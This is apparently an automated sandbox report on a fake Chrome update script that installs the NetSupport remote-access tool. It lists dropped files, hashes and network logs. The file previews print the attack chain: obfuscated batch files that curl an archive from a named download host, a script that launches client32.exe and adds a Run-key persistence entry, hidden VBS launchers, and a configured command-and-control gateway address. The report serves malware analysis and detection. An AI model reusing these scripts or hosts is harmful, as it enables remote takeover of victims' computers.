Preview:	0xb47c726d....[Client].._present=1..AlwaysOnTop=1..DisableChat=1..DisableChatMenu=0..DisableClientConnect=0..DisableCloseApps=1..DisableDisconnect=0..DisableManageServices=1..DisableMessage=1..DisableReplayMenu=0..DisableRequestHelp=0..HideWhenIdle=1..Protocols=3..RoomSpec=Eval..ShowUIOnConnect=0..silent=1..SKMode=1..SOS_Alt=0..SOS_LShift=0..SOS_RShift=0..SysTray=0..UnloadMirrorOnDisconnect=1..Usernames=*....[_Info]..Filename=C:\Users\Administrator\Desktop\1\client32.ini....[_License]..quiet=1....[Audio]..DisableAudioFilter=1....[Bridge]..Modem=....[General]..BeepUsingSpeaker=0....[HTTP]..CMPI=60..GatewayAddress=94.158.247.23:5050..GSK=FH;G@ADJ9J>ICLHA=K@MED..Port=5050..SecondaryGateway=..SecondaryPort=..

C:\ProgramData\desktop.ini

Process:	C:\ProgramData\7zz.exe
File Type:	Windows desktop.ini
Category:	dropped
Size (bytes):	96
Entropy (8bit):	4.862313970853504
Encrypted:	false
SSDEEP:	3:0NdQDjo/KKQiWDy3c5kSRE2J5oH+fqLEcTvzTXyn:0NwoCKQiWDy3IZi23oH+4TvzTXyn
MD5:	B21BF903986AC0CE3B7BB2371C8502D2
SHA1:	FC8C4D1630A2198A95F9739BF16F53E83BF81174
SHA-256:	BB2DF21D474ED3E383FE56691DD5FE9E441F2B163A82A2D4D1042783F249B70F
SHA-512:	3B0BA816CEA96FB8648A6A3CD9421EBC03065C02B4047D29834B417EF25A10DE1B5B8DDFEE5BB85761D185DDB1B36F37193CAAE0B7894B5E3850F061459DF197
Malicious:	false
Preview:	[.ShellClassInfo]..IconResource=C:\Users\daddy\AppData\Local\Microsoft\OneDrive\OneDrive.exe,1..

C:\ProgramData\hTeaPOrNCzaBsfwyZvQlxGetVKrbucD.bat

Process:	C:\Windows\System32\wscript.exe
File Type:	DOS batch file, ASCII text
Category:	dropped
Size (bytes):	1908
Entropy (8bit):	5.243181486469752
Encrypted:	false
SSDEEP:	24:VzNEa7DDmcKEK88leevTwKev5NaczevNDB4HK:Vz/7DPKEK8852Xt6NQK
MD5:	CC74CF81F442E922B077F6CF0F87FA41
SHA1:	D8BE8FCB85507D5B05A3025BB0CEFBD0B614DE96
SHA-256:	6A58399A333E0B20E9FE1944EE997585A7A1927776308048DA1E3FB7734EF581
SHA-512:	1F00A8B92F83B3E84D4798AB2805432CD3A1061CB294DFA4C869D9BAA0DF233A9BD68788DFC68BBAB9995305E7634937AA35AD3F75DC40095CF1BD0A53BF655C
Malicious:	false
Preview:	@echo off..:: R11ffsRsfsRb.:: 3Z6fKfsRKfsRb..set "fdaa=set ".%fdaa%"fdgxvxcvxc=C:\Prog".%fdaa%"hghgdgdfsz=ramD".%fdaa%"hyturdfgf=ata\"..:: R11KfsffsRssRsRsRRb.:: ssRsRfsRsRRb..%fdgxvxcvxc%%hghgdgdfsz%%hyturdfgf%..set "fgdgh=set ".%fgdgh%"vbnvbv=Wscr".%fgdgh%"jhgcvbc=ipt.Sh".%fgdgh%"jhvbcs=ell"..:: RsfsRR11Rb.%vbnvbv%%jhgcvbc%%jhvbcs%..set "ghjgr=set ".%ghjgr%"cvbcvbsds=WSc".%ghjgr%"gfgxxc=rit.Ar".%ghjgr%"hgvbcvbc=guments"..:: R11fsRssRRRb..%cvbcvbsds%%gfgxxc%%hgvbcvbc%..:: 1sRs1sRs1sRs1sRs..echo CreateObject^(%vbnvbv%%jhgcvbc%%jhvbcs%^).Run ^& %cvbcvbsds%%gfgxxc%%hgvbcvbc%^(0^) ^& , 0, False > "%tmp%/b1.vbs".(echo if not exist "%tmp%/lolo.7z" ^( curl -k "https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/lolo.7z" -o "%fdgxvxcvxc%%hghgdgdfsz%%hyturdfgf%lolo.7z" ^) & echo "%tmp%/sett.bat") > "%fdgxvxcvxc%%hghgdgdfsz%%hyturdfgf%sett.bat"..echo CreateObject^(%vbnvbv%%jhgcvbc%%jhvbcs%^).Run ^& %cvbcvbsds%%gfgxxc%%hgvbcvbc%^(0^) ^& , 0, False > "%tm

C:\ProgramData\lolo.7z

Process:	C:\Windows\System32\curl.exe
File Type:	7-zip archive data, version 0.4
Category:	modified
Size (bytes):	2306944
Entropy (8bit):	7.999915641276459
Encrypted:	true
SSDEEP:	49152:rDHf7GK0RIZLYUIFWsFYL7084J3Sr7Y1t/iAJkxNkvTMTTi0oIFJePBM5Pl:rDHfcyZ8/FW8Y9m9i5IvEP
MD5:	8970FCCD38432D3A6EEFED2F274709DF
SHA1:	5EEFA6D5AF3ADC5A84A5E7BA66DE87779221CC02
SHA-256:	CEA3F6928121BF4382E7144B9A900CDCBECB7B7F95A14531EC0C04286A08489E
SHA-512:	B647573EC25890736D94978AFB6E45C6762BA97963D91911CCD3ABF83660DA464496A4AD5AF9AFA6CAADAC76C6BE8D76B83E3DBC1987076F2560E3D7AF452B95
Malicious:	false
Preview:	7z..'...b...;3#.....%........}.4....N]...........&...@...ZtA.4..x=i...h.5.UBh.K....KB}"GA..........x.....6.c.8..V.>..3.3.~...b..X......W.b...w....ubQ...h[....`..3)....>......U..K..Y.0}(.g..7..brw..y..../3z.t...,.g.@...aJ......0K........'Q......s.2!.@..7.g..~....a..........V.N3....../Mr$.yL.N...CKu8."N.i......#w..Oc...!..6.c..0......%.?.0..:...d....F..n..!....zz..v.9W..UB.n0........w..P...JD......L&..^G.o..(D..`y..e.N.B/..l...&..L..,.$..3.l.<G....C.a5...S.70g}...s........;.....#.#BlO.....h.5....u...y......NUU...B..S.m.......Q..E.D...6.. K.r.E....A.8..J;...5..q..(......V#...'......)....,.M.I..s...#j..s.%.Z$....n<.......a...53u.,....^o....7j...;.2....1.N)p..>........L....qK\..$....@U.....I.F@.E+.....~......aI^...w....V.t..o...2U,".d.4.......}..<.L.U.....z..a..7u.U1..ua`.....T.7....a.$.....N;..t.Fa7...?..s9.....ICU...;.w..F.w.[A@x.....U.k.$..!D.......C$h.I.._.h*...q...T...mN\|....?/.......us.>..M..+..h......yBF.-...S...?b.f)......L..8......{f

C:\ProgramData\msvcr100.dll

Process:	C:\ProgramData\7zz.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	773968
Entropy (8bit):	6.901559811406837
Encrypted:	false
SSDEEP:	12288:nMmCy3nAgPAxN9ueqix/HEmxsvGrif8ZSy+rdQw2QRAtd74/vmYK6H3BVoe3z:MmCy3KxW3ixPEmxsvGrm8Z6r+JQPzV7z
MD5:	0E37FBFA79D349D672456923EC5FBBE3
SHA1:	4E880FC7625CCF8D9CA799D5B94CE2B1E7597335
SHA-256:	8793353461826FBD48F25EA8B835BE204B758CE7510DB2AF631B28850355BD18
SHA-512:	2BEA9BD528513A3C6A54BEAC25096EE200A4E6CCFC2A308AE9CFD1AD8738E2E2DEFD477D59DB527A048E5E9A4FE1FC1D771701DE14EF82B4DBCDC90DF0387630
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......:.y.~...~...~...w...}...~.......eD.....eD..+...eD..J...eD......eD......eD......eD......Rich~...................PE..L......M.........."!.........................0.....x......................................@..........................H......d...(.......................P.......$L...!..8...........................hE..@............................................text...!........................... ..`.data....Z...0...N..................@....rsrc................f..............@..@.reloc..$L.......N...j..............@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\nskbfltr.inf

Process:	C:\ProgramData\7zz.exe
File Type:	Windows setup INFormation
Category:	dropped
Size (bytes):	328
Entropy (8bit):	4.93007757242403
Encrypted:	false
SSDEEP:	6:a0S880EeLL6sWqYFcf8KYFEAy1JoHBIr2M2OIAXFYJKRLIkg/LH2yi9vyifjBLWh:JShNvPG1JoHBx2XFhILH4Burn
MD5:	26E28C01461F7E65C402BDF09923D435
SHA1:	1D9B5CFCC30436112A7E31D5E4624F52E845C573
SHA-256:	D96856CD944A9F1587907CACEF974C0248B7F4210F1689C1E6BCAC5FED289368
SHA-512:	C30EC66FECB0A41E91A31804BE3A8B6047FC3789306ADC106C723B3E5B166127766670C7DA38D77D3694D99A8CDDB26BC266EE21DBA60A148CDF4D6EE10D27D7
Malicious:	false
Preview:	; nskbfltr.inf..;..; NS Keyboard Filter..; ..;..; This inf file installs the WDF Framework binaries....[Version]..Signature="$Windows NT$"..Provider=NSL......;..;--- nskbfltr Coinstaller installation ------..;......[nskbfltr.NT.Wdf]..KmdfService = nskbfltr, nskbfltr_wdfsect....[nskbfltr_wdfsect]..KmdfLibraryVersion = 1.5......

C:\ProgramData\nsm_vpro.ini

Process:	C:\ProgramData\7zz.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	46
Entropy (8bit):	4.532048032699691
Encrypted:	false
SSDEEP:	3:lsylULyJGI6csM:+ocyJGIPsM
MD5:	3BE27483FDCDBF9EBAE93234785235E3
SHA1:	360B61FE19CDC1AFB2B34D8C25D8B88A4C843A82
SHA-256:	4BFA4C00414660BA44BDDDE5216A7F28AECCAA9E2D42DF4BBFF66DB57C60522B
SHA-512:	EDBE8CF1CBC5FED80FEDF963ADE44E08052B19C064E8BCA66FA0FE1B332141FBE175B8B727F8F56978D1584BAAF27D331947C0B3593AAFF5632756199DC470E5
Malicious:	false
Preview:	[COMMON]..Storage_Enabled=0..Debug_Level=0....

C:\ProgramData\pcicapi.dll

Process:	C:\ProgramData\7zz.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	33144
Entropy (8bit):	6.7376663312239256
Encrypted:	false
SSDEEP:	768:JFvNhAyi5hHA448qZkSn+EgT8ToDXTVi0:JCyoHA448qSSzgIQb
MD5:	34DFB87E4200D852D1FB45DC48F93CFC
SHA1:	35B4E73FB7C8D4C3FEFB90B7E7DC19F3E653C641
SHA-256:	2D6C6200508C0797E6542B195C999F3485C4EF76551AA3C65016587788BA1703
SHA-512:	F5BB4E700322CBAA5069244812A9B6CE6899CE15B4FD6384A3E8BE421E409E4526B2F67FE210394CD47C4685861FAF760EFF9AF77209100B82B2E0655581C9B2
Malicious:	true
Yara Hits:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\ProgramData\pcicapi.dll, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........+-..E~..E~..E~.\.~..E~.\.~..E~...~..E~..D~..E~.\.~..E~.\.~..E~.\.~..E~.\.~..E~...~..E~.\.~..E~Rich..E~........PE..L......U...........!.....2...........<.......P...............................`............@..........................^.......W..d....@..x............X..x)...P......`Q...............................V..@............P..@............................text....1.......2.................. ..`.rdata.......P.......6..............@..@.data...,....`.......F..............@....rsrc...x....@.......H..............@..@.reloc.......P.......P..............@..B........................................................................................................................................................................................................................................................................................................................

C:\ProgramData\putty.exe

Process:	C:\ProgramData\7zz.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1647912
Entropy (8bit):	6.92723334837222
Encrypted:	false
SSDEEP:	49152:TDXOPFJK9bbYF8paMB8QMy3bHwPXNg/7UyW+ekBeZmn:T0WhreNg/X
MD5:	F838FDAFD0881CF1E6040A07D78E840D
SHA1:	2A35456B2F67BD12905378BEB6EAF373F6A0D0D1
SHA-256:	FC6F9DBDF4B9F8DD1F5F3A74CB6E55119D3FE2C9DB52436E10BA07842E6C3D7C
SHA-512:	5C0389EB79E5C2638C0D770CDE1A5C56A237AA596503966D4F226A99F94531AF501F8BF4EFA00722E12998F73271E50D8C187F8E984125AFFE40B1AB231503B4
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d.....\c.........."......Z...p.................@.............................`......D.....`.............................................................X.......xl......(W...@..................................(......@...........(................................text...fY.......Z.................. ..`.rdata.......p.......^..............@..@.data....U...p.......^..............@....pdata..xl.......n...n..............@..@.00cfg..8....@......................@..@.gxfg...`*...P...,..................@..@.tls................................@..._RDATA..\...........................@..@.rsrc...X...........................@..@.reloc.......@... ..................@..B........................................................................................................................................................................................................................

C:\ProgramData\qweq.bat

Process:	C:\Windows\System32\cmd.exe
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	532
Entropy (8bit):	5.259398326283338
Encrypted:	false
SSDEEP:	12:kh5ObfauP28nlxWZ3lMVj0ESLXRtf4LXnidEWSDcEA:B62AlMVJuXRtf8XnIED2
MD5:	975B043ED876F1C265AACB60BBEA6B11
SHA1:	3B8F7AE6B0282BE88D08B171BF9267FDF4CBF28E
SHA-256:	F344211B6F67F0AE3D6256648526C6E986EC8E4F31367FA17AB963DE788BD6D8
SHA-512:	E9D2E306B9A562E94B8793C87B7C4506274D67561D715871DFF1E88038C7413F32307602F5DDC97363A62875B16BBBD307D01DA897C88C6EB33F004A6FAE4877
Malicious:	false
Preview:	@echo off....:: ssRsgs3sgsbgsggsgs3gsgs3s3Z6..:: ssRbZgs6gsgs326fssRb....start /b /min xcopy /h /y 7zz.exe C:\ProgramData\ && start /b /min cmd /c C:\ProgramData\7zz.exe x -y C:\ProgramData\lolo.7z -oC:\ProgramData\ && TIMEOUT /T 7 && start /b /min cmd /c C:\ProgramData\client32.exe....set CachedX=HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run..reg query "%CachedX%" >nul 2>&1.. if %errorlevel% equ 0 (.. reg add "%CachedX%" /v "CachedX" /t REG_SZ /d "C:\ProgramData\client32.exe" /f .. ).. ::fhgggsgs3sgs3sgssgs3sgssgs

C:\ProgramData\remcmdstub.exe

Process:	C:\ProgramData\7zz.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	63864
Entropy (8bit):	6.446503462786185
Encrypted:	false
SSDEEP:	1536:Tf6fvDuNcAjJMBUHYBlXU1wT2JFqy9BQhiK:D6f7cjJ4U4I1jFqy92hiK
MD5:	6FCA49B85AA38EE016E39E14B9F9D6D9
SHA1:	B0D689C70E91D5600CCC2A4E533FF89BF4CA388B
SHA-256:	FEDD609A16C717DB9BEA3072BED41E79B564C4BC97F959208BFA52FB3C9FA814
SHA-512:	F9C90029FF3DEA84DF853DB63DACE97D1C835A8CF7B6A6227A5B6DB4ABE25E9912DFED6967A88A128D11AB584663E099BF80C50DD879242432312961C0CFE622
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......$U..`4..`4..`4..{.D.q4..{.p.54..iLI.e4..`4..74..{.q.}4..{.@.a4..{.G.a4..Rich`4..................PE..L......U.....................J.......!............@.......................... .......o....@....................................<.......T...............x)..............................................@...............@............................text............................... ..`.rdata...%.......&..................@..@.data....-..........................@....rsrc...T...........................@..@.reloc..p...........................@..B........................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\sett.bat

Process:	C:\Windows\System32\cmd.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	247
Entropy (8bit):	5.301224584501311
Encrypted:	false
SSDEEP:	6:CxBR2RcN23f9QSkCfFlCe8UlLAHbKx48HKmnOB1RcN23fQRnn:cnXgONCfFADC0vTmnOOgcnn
MD5:	0CE70C2F5ED83A4574355600C641B7F2
SHA1:	02AA9B3018282C8635A974CC5C8AF550B9AEB292
SHA-256:	E358392E33049B9CA8D3631E4C711E696AF2185DFE15C3F395109B8ED2AD03C3
SHA-512:	99C4063BAA93603CAA05ECF66E352737C6B7BBD3ECCA295A31B33EC69F3B015328EBDF890F969DCFE8C783DFE8E9C32BE0D655BEAC58FC444D7110B8A0212365
Malicious:	false
Preview:	if not exist "C:\Users\user\AppData\Local\Temp/lolo.7z" ( curl -k "https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/lolo.7z" -o "C:\ProgramData\lolo.7z" ) .."C:\Users\user\AppData\Local\Temp/sett.bat"..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\AA1WTLEO\11[1].bat

Process:	C:\Windows\System32\wscript.exe
File Type:	DOS batch file, ASCII text
Category:	dropped
Size (bytes):	1908
Entropy (8bit):	5.243181486469752
Encrypted:	false
SSDEEP:	24:VzNEa7DDmcKEK88leevTwKev5NaczevNDB4HK:Vz/7DPKEK8852Xt6NQK
MD5:	CC74CF81F442E922B077F6CF0F87FA41
SHA1:	D8BE8FCB85507D5B05A3025BB0CEFBD0B614DE96
SHA-256:	6A58399A333E0B20E9FE1944EE997585A7A1927776308048DA1E3FB7734EF581
SHA-512:	1F00A8B92F83B3E84D4798AB2805432CD3A1061CB294DFA4C869D9BAA0DF233A9BD68788DFC68BBAB9995305E7634937AA35AD3F75DC40095CF1BD0A53BF655C
Malicious:	false
Preview:	@echo off..:: R11ffsRsfsRb.:: 3Z6fKfsRKfsRb..set "fdaa=set ".%fdaa%"fdgxvxcvxc=C:\Prog".%fdaa%"hghgdgdfsz=ramD".%fdaa%"hyturdfgf=ata\"..:: R11KfsffsRssRsRsRRb.:: ssRsRfsRsRRb..%fdgxvxcvxc%%hghgdgdfsz%%hyturdfgf%..set "fgdgh=set ".%fgdgh%"vbnvbv=Wscr".%fgdgh%"jhgcvbc=ipt.Sh".%fgdgh%"jhvbcs=ell"..:: RsfsRR11Rb.%vbnvbv%%jhgcvbc%%jhvbcs%..set "ghjgr=set ".%ghjgr%"cvbcvbsds=WSc".%ghjgr%"gfgxxc=rit.Ar".%ghjgr%"hgvbcvbc=guments"..:: R11fsRssRRRb..%cvbcvbsds%%gfgxxc%%hgvbcvbc%..:: 1sRs1sRs1sRs1sRs..echo CreateObject^(%vbnvbv%%jhgcvbc%%jhvbcs%^).Run ^& %cvbcvbsds%%gfgxxc%%hgvbcvbc%^(0^) ^& , 0, False > "%tmp%/b1.vbs".(echo if not exist "%tmp%/lolo.7z" ^( curl -k "https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/lolo.7z" -o "%fdgxvxcvxc%%hghgdgdfsz%%hyturdfgf%lolo.7z" ^) & echo "%tmp%/sett.bat") > "%fdgxvxcvxc%%hghgdgdfsz%%hyturdfgf%sett.bat"..echo CreateObject^(%vbnvbv%%jhgcvbc%%jhvbcs%^).Run ^& %cvbcvbsds%%gfgxxc%%hgvbcvbc%^(0^) ^& , 0, False > "%tm

C:\Users\user\AppData\Local\Temp\b1.vbs

Process:	C:\Windows\System32\cmd.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	70
Entropy (8bit):	4.6987263671247135
Encrypted:	false
SSDEEP:	3:FER/McVqQDDIgk7O+JF9Bv:FEREkqOMgkq+Lzv
MD5:	A883AA8226B7A6328633EB161B7EFB85
SHA1:	9493C6A36F9155D2C210E98582B7DEDC2E92987A
SHA-256:	EE218F8B91B270886DC87064F014AC734E0E80EC87214DCF149B436CCFA8B9DA
SHA-512:	A88DE3B82705C7170B21A12A76EA27A07D31F0C9A85A8F02FCAB2C5E42669F62A9B157E52DDA9CC497BCB93E3D11FCD5D47553B44BB4C018CE642E7A9694E678
Malicious:	true
Preview:	CreateObject(Wscript.Shell).Run & WScrit.Arguments(0) & , 0, False ..

C:\Users\user\AppData\Local\Temp\b2.vbs

Process:	C:\Windows\System32\cmd.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	70
Entropy (8bit):	4.6987263671247135
Encrypted:	false
SSDEEP:	3:FER/McVqQDDIgk7O+JF9Bv:FEREkqOMgkq+Lzv
MD5:	A883AA8226B7A6328633EB161B7EFB85
SHA1:	9493C6A36F9155D2C210E98582B7DEDC2E92987A
SHA-256:	EE218F8B91B270886DC87064F014AC734E0E80EC87214DCF149B436CCFA8B9DA
SHA-512:	A88DE3B82705C7170B21A12A76EA27A07D31F0C9A85A8F02FCAB2C5E42669F62A9B157E52DDA9CC497BCB93E3D11FCD5D47553B44BB4C018CE642E7A9694E678
Malicious:	true
Preview:	CreateObject(Wscript.Shell).Run & WScrit.Arguments(0) & , 0, False ..

C:\Users\user\AppData\Local\Temp\b3.vbs

Process:	C:\Windows\System32\cmd.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	70
Entropy (8bit):	4.6987263671247135
Encrypted:	false
SSDEEP:	3:FER/McVqQDDIgk7O+JF9Bv:FEREkqOMgkq+Lzv
MD5:	A883AA8226B7A6328633EB161B7EFB85
SHA1:	9493C6A36F9155D2C210E98582B7DEDC2E92987A
SHA-256:	EE218F8B91B270886DC87064F014AC734E0E80EC87214DCF149B436CCFA8B9DA
SHA-512:	A88DE3B82705C7170B21A12A76EA27A07D31F0C9A85A8F02FCAB2C5E42669F62A9B157E52DDA9CC497BCB93E3D11FCD5D47553B44BB4C018CE642E7A9694E678
Malicious:	true
Preview:	CreateObject(Wscript.Shell).Run & WScrit.Arguments(0) & , 0, False ..

\Device\ConDrv

Process:	C:\ProgramData\7zz.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	817
Entropy (8bit):	5.0668216874897265
Encrypted:	false
SSDEEP:	12:p5gXLDM+zWZiTknz4oG4qixLKjoKLkVKWPpx6osPChYT1kmLB806GLYIQKI9DlHM:p5gXZWZiTOzr2jtgJ6lPHHNIbHM
MD5:	52CE7FD84FE8DA2C5774CB7681DA4A75
SHA1:	E339AF48FD51F99CA41BEE55445AC756CA1FF3BE
SHA-256:	A61C29FF09042B0C2021B3F66BD905109AF04C27EBEDB6AF568A79ECF96784BB
SHA-512:	1DD001AA6B82715DEE7ABA7B5D5C8B8DBE39E88A66B760947B86A78056A66DB539D2DAEDB5792872953E06C6B94839B20B80C5F87CACC6866DFB393FC5E4FA73
Malicious:	false
Preview:	..7-Zip (A) 9.20 Copyright (c) 1999-2010 Igor Pavlov 2010-11-18....Processing archive: C:\ProgramData\lolo.7z....Extracting PScripts..Extracting CacheDate.dat..Extracting CacheMD5.dat..Extracting NSM.ini..Extracting nsm_vpro.ini..Extracting nskbfltr.inf..Extracting NSM.LIC..Extracting desktop.ini..Extracting client32.ini..Extracting PScripts\insert_delimiter.pscript..Extracting PScripts\rot-13.pscript..Extracting CacheURL.dat..Extracting HTML_Obj_list.txt..Extracting Settings.txt..Extracting client32.exe..Extracting remcmdstub.exe..Extracting HTCTL32.DLL..Extracting msvcr100.dll..Extracting pcicapi.dll..Extracting PCICHEK.DLL..Extracting PCICL32.DLL..Extracting TCCTL32.DLL..Extracting putty.exe....Everything is Ok....Folders: 1..Files: 22..Size: 7115655..Compressed: 2306944..

\Device\Null

Process:	C:\Windows\System32\reg.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	254
Entropy (8bit):	5.175467205128989
Encrypted:	false
SSDEEP:	6:rNgZH1jzz3q8ARcN23oH+TWJe+G5tNHov7d+iW40:pWVjzzBxgYeq0+6t2d+iWZ
MD5:	ACE8616EE054B30E991F078D0944CC66
SHA1:	51D623413C9B97E847526A186F7109C8C6BF52E4
SHA-256:	B9B7072A492947320D2E8E97F2C5DE919BAD5658E3992A6A422718AE6E09D00F
SHA-512:	38A4CF698374666B52B6476837EF16F1DD0C0C41097AA953B60F66F01C286BF0FC88904342D23C10036546C4725D2D906B8775B853432C41B996DDF0F8DE2984
Malicious:	false
Preview:	..HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run.. Microsoft Edge Update REG_SZ "C:\Users\user\AppData\Local\Microsoft\EdgeUpdate\1.3.177.11\MicrosoftEdgeUpdateCore.exe".. CachedX REG_SZ C:\ProgramData\client32.exe....

Static File Info

General

File type:	ASCII text, with very long lines (61237), with CRLF line terminators
Entropy (8bit):	5.714694444667743
TrID:
File name:	Chrome_update(1).js
File size:	647'118 bytes
MD5:	70297132948e717a54754524646870cd
SHA1:	9d6a75ffda344380d9491def6b01c3d3c0520e6f
SHA256:	cac95aabddf39df075aaf4deed7b3d4a13640617c63d09611771d648c1fb26a6
SHA512:	22406fc22c238c334506bff6c31f4dd52c85648a5d7411a9e05d481ea758141a3db3cedf6733f88c80dbcc261fbd74fa73219c4003e75a47d4059d308ea50774
SSDEEP:	12288:IC4D4H4H4H42DOFOPn4ujz7i8PMMMMMMMG9Uv8rd75Ve7:PoWWWFD8+f7im9Uf
TLSH:	B0D4026A4C354E7EEABC37F844BB0F5A07DD04602C84DBD6F2256950C8D7A78A8DE478
File Content Preview:	../*hlJSNypaDLEjihamVKbmRCyAvYFyYYJxFSDhwtPjApxyweARoOjLpSEQtHMrghzaGTgpdUruBCdUTRcyIRgHqnzZVTdGyENoIQkgEZNhWlnEeMjbSKMamJrUlQcHmOdGlVLNhAMigKxBFxAeJNMPloEupJiVoAGlUfVxpIAGCcdmCsfbNIkCdzrBMBuEgOFhfUCRzFGCfWqyJjsZGHUWaCNaNAmvrFCFbJzGhfKWtnZetFxXRziSHrytiFo

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.894.158.247.234970750502827745 08/02/23-10:34:05.337778	TCP	2827745	ETPRO TROJAN NetSupport RAT CnC Activity	49707	5050	192.168.2.8	94.158.247.23

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 2, 2023 10:46:22.525388956 CEST	49696	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:22.525456905 CEST	443	49696	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:22.525846004 CEST	49696	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:22.549228907 CEST	49696	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:22.549272060 CEST	443	49696	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:22.683199883 CEST	443	49696	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:22.683500051 CEST	49696	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:23.010793924 CEST	49696	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:23.010845900 CEST	443	49696	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:23.011316061 CEST	443	49696	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:23.011426926 CEST	49696	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:23.018203020 CEST	49696	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:23.058806896 CEST	443	49696	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:23.076396942 CEST	443	49696	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:23.076430082 CEST	443	49696	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:23.076512098 CEST	443	49696	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:23.076668978 CEST	49696	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:23.082561016 CEST	49696	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:23.082590103 CEST	443	49696	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.142770052 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.142832994 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.142986059 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.160662889 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.160691977 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.280052900 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.280263901 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.283370018 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.283389091 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.283755064 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.297513962 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.342804909 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.444459915 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.444499016 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.444555998 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.444807053 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.444835901 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.444853067 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.444999933 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.498903036 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.498939991 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.499149084 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.499183893 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.499253035 CEST	49699	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:46:24.499310970 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.499342918 CEST	443	49699	188.127.230.147	192.168.2.8
Aug 2, 2023 10:46:24.499434948 CEST	443	49699	188.127.230.147	192.168.2.8
